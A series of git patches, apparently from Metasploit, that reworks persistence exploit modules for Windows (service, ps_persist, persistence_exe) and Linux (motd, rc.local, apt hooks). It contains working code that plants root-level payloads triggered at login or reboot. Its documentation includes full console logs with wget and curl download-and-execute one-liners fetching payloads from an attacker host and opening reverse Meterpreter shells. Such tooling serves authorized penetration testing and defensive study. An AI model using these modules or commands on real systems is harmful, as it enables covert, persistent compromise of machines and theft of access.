@@ def target_exec(script_on_target) execsuccess end - - # Starts a exploit/multi/handler session - def create_multihandler(lhost, lport, payload_name) - pay = client.framework.payloads.create(payload_name) - pay.datastore['LHOST'] = lhost - pay.datastore['LPORT'] = lport - print_status('Starting exploit/multi/handler') - - if check_for_listener(lhost, lport) - print_error('A job is listening on the same local port') - return nil - else - # Set options for module - mh = client.framework.exploits.create('multi/handler') - mh.share_datastore(pay.datastore) - mh.datastore['WORKSPACE'] = client.workspace - mh.datastore['PAYLOAD'] = payload_name - mh.datastore['EXITFUNC'] = 'thread' - mh.datastore['ExitOnSession'] = true - # Validate module options - mh.options.validate(mh.datastore) - # Execute showing output - mh.exploit_simple( - 'Payload' => mh.datastore['PAYLOAD'], - 'LocalInput' => user_input, - 'LocalOutput' => user_output, - 'RunAsJob' => true - ) - - # Check to make sure that the handler is actually valid - # If another process has the port open, then the handler will fail - # but it takes a few seconds to do so. The module needs to give - # the handler time to fail or the resulting connections from the - # target could end up on on a different handler with the wrong payload - # or dropped entirely. - Rex.sleep(5) - return nil if framework.jobs[mh.job_id.to_s].nil? - - return mh.job_id.to_s - end - end - - # Method for checking if a listener for a given IP and port is present - # will return true if a conflict exists and false if none is found - def check_for_listener(lhost, lport) - client.framework.jobs.each_value do |j| - next unless j.name =~ %r{ multi/handler} - - current_id = j.jid - current_lhost = j.ctx[0].datastore['LHOST'] - current_lport = j.ctx[0].datastore['LPORT'] - if lhost == current_lhost && lport == current_lport.to_i - print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}") - return true - end - end - false - end - - # Function for creating log folder and returning log path - def log_file(log_path = nil) - # Get hostname - host = session.sys.config.sysinfo['Computer'] - - # Create Filename info to be appended to downloaded files - filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') - - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) - else - logs = ::File.join(Msf::Config.log_directory, 'persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) - end - - # Create the log directory - ::FileUtils.mkdir_p(logs) - - # logfile name - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc' - logfile - end end From ce1835b66abe50bd48b526597a8dd2514a60457b Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 7 Feb 2025 06:41:35 -0500 Subject: [PATCH 79/94] fix: persistence_exe persistence with new mixin and cleanup rc file --- .../windows/persistence/persistence_exe.rb | 49 ------------------- 1 file changed, 49 deletions(-) diff --git a/modules/exploits/windows/persistence/persistence_exe.rb b/modules/exploits/windows/persistence/persistence_exe.rb index d215ec34d03e..40bb600fba04 100644 --- a/modules/exploits/windows/persistence/persistence_exe.rb +++ b/modules/exploits/windows/persistence/persistence_exe.rb @@ -98,8 +98,6 @@ def run # Set vars rexe = datastore['REXEPATH'] rexename = datastore['REXENAME'] - host, _port = session.tunnel_peer.split(':') - @clean_up_rc = '' raw = create_payload_from_file rexe @@ -119,53 +117,6 @@ def run when 'TASK' create_scheduler_task(script_on_target) end - - clean_rc = log_file - file_local_write(clean_rc, @clean_up_rc) - print_status("Cleanup Meterpreter RC File: #{clean_rc}") - - report_note(host: host, - type: 'host.persistance.cleanup', - data: { - local_id: session.sid, - stype: session.type, - desc: session.info, - platform: session.platform, - via_payload: session.via_payload, - via_exploit: session.via_exploit, - created_at: Time.now.utc, - commands: @clean_up_rc - }) - end - - # Function for creating log folder and returning log path - #------------------------------------------------------------------------------- - def log_file(log_path = nil) - # Get hostname - if datastore['STARTUP'] == 'TASK' && @cleanup_host - # Use the remote hostname when remote task creation is selected - # Cleanup will have to be performed on this remote host - host = @cleanup_host - else - host = session.sys.config.sysinfo['Computer'] - end - - # Create Filename info to be appended to downloaded files - filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') - - # Create a directory for the logs - logs = if log_path - ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) - else - ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) - end - - # Create the log directory - ::FileUtils.mkdir_p(logs) - - # logfile name - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc' - logfile end # Function to execute script on target and return the PID of the process From f6159e22e928ca3498d5098db046b248cc03a0c4 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 7 Feb 2025 07:16:05 -0500 Subject: [PATCH 80/94] fix: ps_persist persistence with new mixin and cleanup rc file --- modules/exploits/windows/persistence/ps_persist.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/persistence/ps_persist.rb b/modules/exploits/windows/persistence/ps_persist.rb index 69975e419cbc..166e567d463d 100644 --- a/modules/exploits/windows/persistence/ps_persist.rb +++ b/modules/exploits/windows/persistence/ps_persist.rb @@ -103,7 +103,7 @@ def check CheckCode::Detected('System likely vulnerable') end - def exploit + def install_persistence com_opts = {} com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session com_opts[:target] = datastore['OUTPUT_TARGET'] || session.sys.config.getenv('TEMP') + "\\#{Rex::Text.rand_text_alpha(rand(8..15))}.exe" @@ -154,6 +154,7 @@ def exploit end end + @clean_up_rc << "rm #{com_opts[:target]}\n" print_good('Finished!') end From a190de4a6ac7eed4bb3a22e0f6cfe191925fd946 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 7 Feb 2025 08:56:48 -0500 Subject: [PATCH 81/94] fix: service persistence with new mixin and cleanup rc file --- .../exploits/windows/persistence/service.rb | 41 +------------------ 1 file changed, 1 insertion(+), 40 deletions(-) diff --git a/modules/exploits/windows/persistence/service.rb b/modules/exploits/windows/persistence/service.rb index 029e2a3d0a34..5f7e2c627a30 100644 --- a/modules/exploits/windows/persistence/service.rb +++ b/modules/exploits/windows/persistence/service.rb @@ -86,7 +86,7 @@ def check # Run Method for when run command is issued #------------------------------------------------------------------------------- - def exploit + def install_persistence # this should be taken care of with payload => compat => ConnectionType => '-bind' # unless datastore['PAYLOAD'] =~ %r{^windows/(shell|meterpreter)/reverse} # print_error('Only support for windows meterpreter/shell reverse staged payload') @@ -106,10 +106,6 @@ def exploit unless rexename.end_with?('.exe') rexename << '.exe' end - - host, _port = session.tunnel_peer.split(':') - @clean_up_rc = '' - buf = create_payload vprint_status(buf) metsvc_code = metsvc_template(buf) @@ -117,23 +113,6 @@ def exploit victim_path = write_exe_to_target(bin, rexename, rexepath) install_service(victim_path) - - clean_rc = log_file - file_local_write(clean_rc, @clean_up_rc) - print_status("Cleanup Meterpreter RC File: #{clean_rc}") - - report_note(host: host, - type: 'host.persistance.cleanup', - data: { - local_id: session.sid, - stype: session.type, - desc: session.info, - platform: session.platform, - via_payload: session.via_payload, - via_exploit: session.via_exploit, - created_at: Time.now.utc, - commands: @clean_up_rc - }) end def create_payload @@ -176,24 +155,6 @@ def write_file_to_target(temprexe, rexe) fd.close end - # Function for creating log folder and returning log path - #------------------------------------------------------------------------------- - def log_file - # Get hostname - host = session.sys.config.sysinfo['Computer'] - - # Create Filename info to be appended to downloaded files - filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') - - # Create a directory for the logs - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) - - # Create the log directory - ::FileUtils.mkdir_p(logs) - - logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc' - end - # Function to install payload as a service #------------------------------------------------------------------------------- def install_service(path) From fa71e06a61ddd5f6e90b7f4d8c29b02973b71e4d Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Fri, 7 Feb 2025 08:58:30 -0500 Subject: [PATCH 82/94] fix: persistence_exe install_persistence instead of run --- modules/exploits/windows/persistence/persistence_exe.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/persistence/persistence_exe.rb b/modules/exploits/windows/persistence/persistence_exe.rb index 40bb600fba04..99db94d55a5f 100644 --- a/modules/exploits/windows/persistence/persistence_exe.rb +++ b/modules/exploits/windows/persistence/persistence_exe.rb @@ -92,7 +92,7 @@ def check # Run Method for when run command is issued #------------------------------------------------------------------------------- - def run + def install_persistence print_status("Running module against #{sysinfo['Computer']}") # Set vars From 15855338b2ab08aa1943cc37dc06ef27b9b50566 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 7 Feb 2025 16:43:30 -0500 Subject: [PATCH 83/94] motd persistence --- .../modules/exploit/linux/persistence/motd.md | 115 ++++++++++++++++-- modules/exploits/linux/persistence/motd.rb | 6 +- 2 files changed, 108 insertions(+), 13 deletions(-) diff --git a/documentation/modules/exploit/linux/persistence/motd.md b/documentation/modules/exploit/linux/persistence/motd.md index e5390d9a9597..2e4328bdd586 100644 --- a/documentation/modules/exploit/linux/persistence/motd.md +++ b/documentation/modules/exploit/linux/persistence/motd.md @@ -1,15 +1,112 @@ +## Vulnerable Application + This is a post module that performs a persistence installation on a Linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html). To trigger the persistence execution, an external event such as a user logging in to the system with SSH is required. ## Verification Steps - 1. Start msfconsole - 2. Obtain a session on the target machine - 3. `use exploit/linux/local/motd_persistence` - 4. `set session -1` - 5. `exploit` +1. Start msfconsole +2. Obtain a session on the target machine +3. `use exploit/linux/local/motd_persistence` +4. `set session [session]` +5. `exploit` + +## Options + +**BACKDOOR_NAME** + +Specify the name of the file to insert in the motd directory. Defaults to `99-check-updates` + +## Scenarios + +### Ubuntu 18.04.3 + +Initial access vector via web delivery + +``` +[*] Processing /root/.msf4/msfconsole.rc for ERB directives. +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO oQN8BXNV --no-check-certificate http://111.111.1.111:8181/l; chmod +x oQN8BXNV; ./oQN8BXNV& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:42870) at 2025-02-07 15:40:34 -0500 + +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/tmp) > getuid +Server username: root +(Meterpreter 1)(/tmp) > sysinfo +Computer : ubuntu18desktop.local +OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/tmp) > background +[*] Backgrounding session 1... +``` -## Module usage +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/motd +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/persistence/motd) > exploit +[-] Msf::OptionValidateError One or more options failed to validate: SESSION. +[msf](Jobs:1 Agents:1) exploit(linux/persistence/motd) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/motd) > exploit +[*] Command to run on remote host: curl -so ./rpNzsXNVDsZ http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./rpNzsXNVDsZ;./rpNzsXNVDsZ& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/motd) > +[*] Fetch handler listening on 111.111.1.111:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. /etc/update-motd.d/ is writable +[*] /etc/update-motd.d/99-check-updates written +[+] Payload will be triggered at user login +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250207.4101/ubuntu18desktop.local_20250207.4101.rc +[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg +[*] Sending payload to 222.222.2.222 (curl/7.58.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:48696) at 2025-02-07 15:41:26 -0500 + +[msf](Jobs:2 Agents:2) exploit(linux/persistence/motd) > sessions -i 2 +[*] Starting interaction with 2... + +(Meterpreter 2)(/) > getuid +Server username: root +``` + +### Ubuntu 22.04 ``` msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/motd_persistence @@ -29,9 +126,3 @@ meterpreter > getuid Server username: root meterpreter > ``` - -## Options - -### BACKDOOR_NAME - -Specify the name of the file to insert in the motd directory. (Default: 99-check-updates) diff --git a/modules/exploits/linux/persistence/motd.rb b/modules/exploits/linux/persistence/motd.rb index 9c8cadaff09e..291fc505ffd2 100644 --- a/modules/exploits/linux/persistence/motd.rb +++ b/modules/exploits/linux/persistence/motd.rb @@ -21,6 +21,7 @@ def initialize(info = {}) 'Description' => %q{ This module will add a script in /etc/update-motd.d/ in order to persist a payload. The payload will be executed with root privileges everytime a user logs in. + Root privileges are likely required to write to /etc/update-motd.d/. Verified on Ubuntu 22.04 }, @@ -30,6 +31,7 @@ def initialize(info = {}) 'Arch' => ARCH_CMD, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ ['Automatic', {}] ], + 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => '1999-01-01', 'Notes' => { @@ -48,7 +50,9 @@ def initialize(info = {}) def check return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless exists? '/etc/update-motd.d/' - return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless writable? '/etc/update-motd.d/' + return CheckCode::Safe('/etc/update-motd.d/ is not writable') unless writable? '/etc/update-motd.d/' + + print_warning("#{datastore['BACKDOOR_NAME']} already exists") if exists? "/etc/update-motd.d/#{datastore['BACKDOOR_NAME']}" CheckCode::Appears('/etc/update-motd.d/ is writable') end From a29103a42ac07ab188ff2fcc0cf33a8f72841eab Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 7 Feb 2025 16:46:50 -0500 Subject: [PATCH 84/94] various persistence updates --- .../modules/exploit/linux/persistence/apt_package_manager.md | 2 +- documentation/modules/exploit/linux/persistence/autostart.md | 2 +- documentation/modules/exploit/linux/persistence/bash_profile.md | 2 +- modules/exploits/linux/persistence/motd.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/persistence/apt_package_manager.md b/documentation/modules/exploit/linux/persistence/apt_package_manager.md index c699a50c7e99..bc8a9649f035 100644 --- a/documentation/modules/exploit/linux/persistence/apt_package_manager.md +++ b/documentation/modules/exploit/linux/persistence/apt_package_manager.md @@ -1,4 +1,4 @@ -## Description +## Vulnerable Application This module will run a payload when the apt package manager is used. This module creates a pre-invoke hook for APT in `apt.conf.d`. diff --git a/documentation/modules/exploit/linux/persistence/autostart.md b/documentation/modules/exploit/linux/persistence/autostart.md index 0bbdd298320b..5a3156a2b010 100644 --- a/documentation/modules/exploit/linux/persistence/autostart.md +++ b/documentation/modules/exploit/linux/persistence/autostart.md @@ -1,4 +1,4 @@ -## Description +## Vulnerable Application This module will create an autostart `.desktop` entry to execute a payload. The payload will be executed when the users logs in. diff --git a/documentation/modules/exploit/linux/persistence/bash_profile.md b/documentation/modules/exploit/linux/persistence/bash_profile.md index d5dab32f14c0..a28fb0a23756 100644 --- a/documentation/modules/exploit/linux/persistence/bash_profile.md +++ b/documentation/modules/exploit/linux/persistence/bash_profile.md @@ -1,4 +1,4 @@ -## Description +## Vulnerable Application This module writes an execution trigger to the target's Bash profile. The execution trigger executes a call back payload whenever the target diff --git a/modules/exploits/linux/persistence/motd.rb b/modules/exploits/linux/persistence/motd.rb index 291fc505ffd2..3240430ec203 100644 --- a/modules/exploits/linux/persistence/motd.rb +++ b/modules/exploits/linux/persistence/motd.rb @@ -60,7 +60,7 @@ def check def install_persistence update_path = '/etc/update-motd.d/' - backdoor_path = File.join(update_path, datastore['BACKDOOR_NAME']) + backdoor_path = "#{update_path}/#{datastore['BACKDOOR_NAME']}" if exists? backdoor_path fail_with Failure::BadConfig, "#{backdoor_path} is already present" From fbf4520bb92a7761706188f5032ebb23beaa4d6c Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 9 Feb 2025 07:05:57 -0500 Subject: [PATCH 85/94] rc.local persistence --- .../exploit/linux/persistence/rc_local.md | 136 ++++++++++++++---- .../exploits/linux/persistence/rc_local.rb | 69 ++++++--- 2 files changed, 162 insertions(+), 43 deletions(-) diff --git a/documentation/modules/exploit/linux/persistence/rc_local.md b/documentation/modules/exploit/linux/persistence/rc_local.md index 9b81d94d2ebe..84cf88bcce4c 100644 --- a/documentation/modules/exploit/linux/persistence/rc_local.md +++ b/documentation/modules/exploit/linux/persistence/rc_local.md @@ -1,46 +1,132 @@ -## rc.local Persistence +## Vulnerable Application -This module patches `/etc/rc.local` in order to launch a payload upon reboot. - -> Sometimes `/etc/rc.local` is run when the network is not yet on, make sure your payload won't quit if that's the case. +This module will edit /etc/rc.local in order to persist a payload. +The payload will be executed on the next reboot. +Verified on Ubuntu 18.04.3 ### Verification -1. Exploit a box and get a **root** session (tip: try `post/multi/manage/sudo`) -2. `use exploit/linux/local/rc_local_persistence` +1. Exploit a box and get a **root** session +2. `use exploit/linux/persistence/rc_local` 3. `set SESSION ` 4. `set PAYLOAD ` 5. `set LHOST ` 6. `exploit` +## Options -### Sample run +**PAYLOAD_NAME** -#### Escalate the session if needed +Name of the payload file if a `cmd` payload is not used. Defaults to a random name + +## Scenarios + +### Ubuntu 18.04.3 + +Initial access vector via web delivery ``` -msf5 exploit(linux/local/rc_local_persistence) > use post/multi/manage/sudo -msf5 post(multi/manage/sudo) > set session 3 -session => 3 -msf5 post(multi/manage/sudo) > run - -[*] SUDO: Attempting to upgrade to UID 0 via sudo -[*] No password available, trying a passwordless sudo. -[+] SUDO: Root shell secured. -[*] Post module execution completed -``` +[*] Processing /root/.msf4/msfconsole.rc for ERB directives. +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO zLeqpMSF --no-check-certificate http://111.111.1.111:8181/l; chmod +x zLeqpMSF; ./zLeqpMSF& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:48462) at 2025-02-09 06:54:32 -0500 -#### Persist +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... +(Meterpreter 1)(/home/ubuntu) > getuid +Server username: root +(Meterpreter 1)(/home/ubuntu) > sysinfo +Computer : ubuntu18desktop.local +OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/home/ubuntu) > background +[*] Backgrounding session 1... ``` -msf5 post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence -msf5 exploit(multi/handler) > set payload cmd/unix/reverse_ruby -payload => cmd/unix/reverse_ruby -msf5 exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41 -LHOST => 192.168.0.41 -msf5 exploit(linux/local/rc_local_persistence) > run +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/rc_local +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set WritableDir /home/ubuntu/ +WritableDir => /home/ubuntu/ +[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > exploit +[*] Command to run on remote host: curl -so ./GvwBrOrMxFD http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./GvwBrOrMxFD;./GvwBrOrMxFD& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > +[*] Fetch handler listening on 111.111.1.111:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. /etc/rc.local is writable [*] Reading /etc/rc.local +[*] Created /etc/rc.local backup: /root/.msf4/loot/20250209065535_default_222.222.2.222_rc.local_367870.txt [*] Patching /etc/rc.local +[+] Payload will be triggered at next reboot +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250209.5536/ubuntu18desktop.local_20250209.5536.rc +``` + +Reboot host + +``` +[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/home/ubuntu) > shell +Process 2052 created. +Channel 4 created. +reboot + +[*] 222.222.2.222 - Meterpreter session 1 closed. Reason: Died + + +Terminate channel 4? [y/N] y +[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact --timeout +[msf](Jobs:2 Agents:0) exploit(linux/persistence/rc_local) > +[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg +[*] Sending payload to 222.222.2.222 (curl/7.58.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:36260) at 2025-02-09 06:56:39 -0500 + +[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 2 +[*] Starting interaction with 2... + +(Meterpreter 2)(/) > getuid +Server username: root +(Meterpreter 2)(/) > ``` diff --git a/modules/exploits/linux/persistence/rc_local.rb b/modules/exploits/linux/persistence/rc_local.rb index 6eff8afa0dd3..fe2779fe8321 100644 --- a/modules/exploits/linux/persistence/rc_local.rb +++ b/modules/exploits/linux/persistence/rc_local.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix + include Msf::Exploit::EXE # for generate_payload_exe include Msf::Exploit::Local::Persistence include Msf::Auxiliary::Report prepend Msf::Exploit::Remote::AutoCheck @@ -23,18 +24,23 @@ def initialize(info = {}) This module will edit /etc/rc.local in order to persist a payload. The payload will be executed on the next reboot. - Verified on Ubuntu 12.04 + Verified on Ubuntu 18.04.3 }, 'License' => MSF_LICENSE, 'Author' => [ 'Eliott Teissonniere' ], 'Platform' => [ 'unix', 'linux' ], - 'Arch' => ARCH_CMD, + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], 'Payload' => { - 'BadChars' => "#%\n", - 'Compat' => { - 'PayloadType' => 'cmd' - # 'RequiredCmd' => 'generic python ruby netcat perl' - } + 'BadChars' => '#%\n"' }, 'References' => [ ['URL', 'https://attack.mitre.org/techniques/T1037/004/'] @@ -42,6 +48,7 @@ def initialize(info = {}) 'SessionTypes' => [ 'shell', 'meterpreter' ], 'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD. 'Targets' => [ ['Automatic', {}] ], + 'Privileged' => true, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], @@ -50,34 +57,60 @@ def initialize(info = {}) 'DefaultTarget' => 0 ) ) - - deregister_options('WritableDir') + register_options([ + OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']), + ]) end def check - return CheckCode::Safe('/etc/rc.local does not exist') unless exists?('/etc/rc.local') - return CheckCode::Safe('/etc/rc.local isnt writable') unless writable?('/etc/rc.local') + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') + # a few notes for those who like to read source code. On Ubuntu 18.04.3, when no + # /etc/rc.local file exists, systemctl status rc.local shows inactive (dead). + # When /etc/rc.local exists, systemctl status rc.local shows active (exited). + # so checking the service status isn't necessarily helpful. + if exists?('/etc/rc.local') + return CheckCode::Safe('/etc/rc.local isnt writable') unless writable?('/etc/rc.local') + else + return CheckCode::Safe('/etc/ isnt writable') unless writable?('/etc/') + end CheckCode::Appears('/etc/rc.local is writable') end def install_persistence + print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') rc_path = '/etc/rc.local' print_status "Reading #{rc_path}" # read /etc/rc.local, but remove `exit 0` - rc_local = read_file(rc_path).gsub(/^exit.*$/, '') - - backup_profile_path = store_loot('rc.local', 'text/plain', session, rc_local, 'rc.local', '/etc/rc.local backup') - print_status("Created /etc/rc.local backup: #{backup_profile_path}") + rc_local = '#!/bin/sh' + if exists? rc_path + rc_local = read_file(rc_path).gsub(/^exit.*$/, '') + backup_profile_path = store_loot('rc.local', 'text/plain', session, rc_local, 'rc.local', '/etc/rc.local backup') + print_status("Created /etc/rc.local backup: #{backup_profile_path}") + end - # add payload and put back `exit 0` - rc_local << "\n#{payload.encoded}\nexit 0\n" + if payload.arch.first == 'cmd' + # add payload and put back `exit 0` + pload = payload.encoded + pload = "#{pload} &" unless pload.end_with?('&') + rc_local << "\n#{pload}\nexit 0\n" + print_status "Patching #{rc_path}" + else + backdoor_path = datastore['WritableDir'] + backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/" + backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) + backdoor_path << backdoor_name + print_status("Uploading payload file to #{backdoor_path}") + upload_and_chmodx backdoor_path, generate_payload_exe + rc_local << "\n#{backdoor_path} &\nexit 0\n" + @clean_up_rc << "rm #{backdoor_path}\n" + end # write new file - print_status "Patching #{rc_path}" write_file(rc_path, rc_local) + chmod(rc_path, 0o755) @clean_up_rc << "upload #{backup_profile_path} #{rc_path}\n" print_good('Payload will be triggered at next reboot') From 539e8d2b6b8d9742326952f12772458a5acc9aa8 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 9 Feb 2025 07:07:14 -0500 Subject: [PATCH 86/94] persistence consistencies --- .../modules/exploit/linux/persistence/motd.md | 4 +++ .../linux/persistence/apt_package_manager.rb | 1 + modules/exploits/linux/persistence/motd.rb | 34 +++++++++++++++++-- 3 files changed, 36 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/linux/persistence/motd.md b/documentation/modules/exploit/linux/persistence/motd.md index 2e4328bdd586..a60972318b2d 100644 --- a/documentation/modules/exploit/linux/persistence/motd.md +++ b/documentation/modules/exploit/linux/persistence/motd.md @@ -17,6 +17,10 @@ To trigger the persistence execution, an external event such as a user logging i Specify the name of the file to insert in the motd directory. Defaults to `99-check-updates` +**PAYLOAD_NAME** + +Name of the payload file if a `cmd` payload is not used. Defaults to a random name + ## Scenarios ### Ubuntu 18.04.3 diff --git a/modules/exploits/linux/persistence/apt_package_manager.rb b/modules/exploits/linux/persistence/apt_package_manager.rb index 1f715c51c598..3502ce6fcff2 100644 --- a/modules/exploits/linux/persistence/apt_package_manager.rb +++ b/modules/exploits/linux/persistence/apt_package_manager.rb @@ -46,6 +46,7 @@ def initialize(info = {}) 'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian 'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'], 'Targets' => [['Automatic', {}]], + 'Privileged' => true, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], diff --git 